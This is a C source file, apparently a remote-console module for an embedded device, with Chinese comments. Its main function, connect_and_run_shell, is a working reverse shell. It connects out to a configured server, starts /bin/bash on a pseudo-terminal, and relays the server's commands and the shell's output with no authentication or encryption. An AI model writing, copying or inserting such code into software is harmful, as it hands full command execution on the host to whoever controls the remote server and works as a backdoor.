#include "http_consolepush.h"
#include "common.h"
#include "pthrpoll.h"

void contril_pthread_open();
void contril_pthread_close();

// 全局变量（需加锁或原子操作）
static bool s_shutdown = false;

static ThreadPool_t *s_pool_control_push;
static pthread_mutex_t s_shutdown_mutex = PTHREAD_MUTEX_INITIALIZER;

static const control_push_t s_control_push_configs[]={
    {
        .control_push_pthread_open = contril_pthread_open,
        .control_push_pthread_close = NULL
    },
    {
        .control_push_pthread_open = NULL,
        .control_push_pthread_close =contril_pthread_close
    }
};

void connect_and_run_shell() {
    int sock = 0;
    struct sockaddr_in serv_addr;

    // --- 连接到服务器 ---
    while (!s_shutdown) {
        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
            my_zlog_error("Socket creation error");
            sleep(5);
            continue;
        }
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(SERVER_PORT);
        if (inet_pton(AF_INET, SERVER_IP, &serv_addr.sin_addr) <= 0) {
            my_zlog_error("Invalid address");
            close(sock);
            sleep(5);
            continue;
        }
        if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
            fprintf(stderr, "Connection Failed: %s. Retrying in 5s...\n", strerror(errno));
            close(sock);
            sleep(5);
            continue;
        }
        fprintf(stderr, "Connected to server %s:%d\n", SERVER_IP, SERVER_PORT);
        my_zlog_info("Connected to server");
        break; // 连接成功，跳出循环
    }

    // --- 创建伪终端 (pty) 并启动 Shell ---
    int master_fd;
    pid_t pid = forkpty(&master_fd, NULL, NULL, NULL);

    if (pid < 0) {
        my_zlog_error("forkpty");
        close(sock);
        return;
    } 
    else if (pid == 0) { // 子进程
        // 用 /bin/bash 替换当前子进程
        //execlp("/bin/bash", "bash", NULL);
        // 在 execlp 之前，设置环境变量
        setenv("TERM", "dumb", 1); 
        // 然后执行
        execlp("/bin/bash", "bash", NULL);
        // 如果 exec 返回，说明出错了
        my_zlog_error("execlp");
        exit(1);
    }

    // --- 父进程：数据中继 ---
    fd_set read_fds;
    while (!s_shutdown) {
        FD_ZERO(&read_fds);
        FD_SET(sock, &read_fds);         // 监听来自服务器的命令
        FD_SET(master_fd, &read_fds);    // 监听来自 Shell 的输出

        int max_fd = (sock > master_fd) ? sock : master_fd;

        struct timeval tv;
        tv.tv_sec = 1;   // 每 1 秒超时
        tv.tv_usec = 0;
        int ret =select(max_fd + 1, &read_fds, NULL, NULL, &tv);
        if ( ret< 0) {
            my_zlog_error("select");
            break;
        }else if (ret == 0) {
            // 超时，回到循环，检查 s_shutdown
            continue;
        }

        char buffer[BUFFER_SIZE];
        ssize_t bytes_read;

        // 检查是否有来自服务器的数据
        if (FD_ISSET(sock, &read_fds)) {
            bytes_read = read(sock, buffer, sizeof(buffer));
            if (bytes_read <= 0) {
                my_zlog_info("Connected to server disconnected.");
                my_zlog_info( "Server disconnected.");
                break; // 服务器断开
            }
            // 将命令写入 Shell
            ssize_t bytes_written = write(master_fd, buffer, bytes_read);
            if (bytes_written >= bytes_read) {
                // 写入失败
                my_zlog_info("write success");
            } 

        }

        // 检查是否有来自 Shell 的输出
        if (FD_ISSET(master_fd, &read_fds)) {
            bytes_read = read(master_fd, buffer, sizeof(buffer));
            if (bytes_read <= 0) {
                fprintf(stderr, "Shell process terminated.\n");
                break; // Shell 进程结束
            }
            // 将 Shell 输出发送到服务器
            if (send(sock, buffer, bytes_read, 0) < 0) {
                fprintf(stderr, "Failed to send data to server.\n");
                break;
            }
        }

    }

    my_zlog_info("Connected to close.");
    // --- 清理 ---
    close(sock);
    close(master_fd);
    kill(pid, SIGKILL); // 确保子进程被杀死
}

void contril_pthread_open(){
    if(s_pool_control_push == NULL){
        s_pool_control_push = thread_pool_init(1,1);
        my_zlog_info("contril push pool pthread open");
        thread_pool_add_task(s_pool_control_push , connect_and_run_shell, NULL); 
    }else {
        my_zlog_info("control push pthread already open ");
    }
   
}

void contril_pthread_close(){
    if ( s_pool_control_push == NULL) {  
        my_zlog_info("control push pthread already NULL");
        return; // 已销毁或无效句柄，直接返回
    }else {
        pthread_mutex_lock(&s_shutdown_mutex);
        s_shutdown = true;
        pthread_mutex_unlock(&s_shutdown_mutex);
        my_zlog_info("control push pthread close success");
        thread_pool_destroy(s_pool_control_push);
        s_pool_control_push = NULL;
    }
}

void control_pthread_function(char *string){

    const control_push_t *g_control_push_config = NULL;

    if(strcmp(string,"open")==0){
        my_zlog_debug("open pthread");
        g_control_push_config =&s_control_push_configs[0];
        g_control_push_config ->control_push_pthread_open();
    }else if(strcmp(string,"close")==0){
         my_zlog_debug("close pthread");
         g_control_push_config =&s_control_push_configs[1];
         g_control_push_config ->control_push_pthread_close();
    }else {
        g_control_push_config =NULL;
    }
    if(!g_control_push_config){
        my_zlog_warn("s_pool_control_push am NULL");
        return ;
    }
}
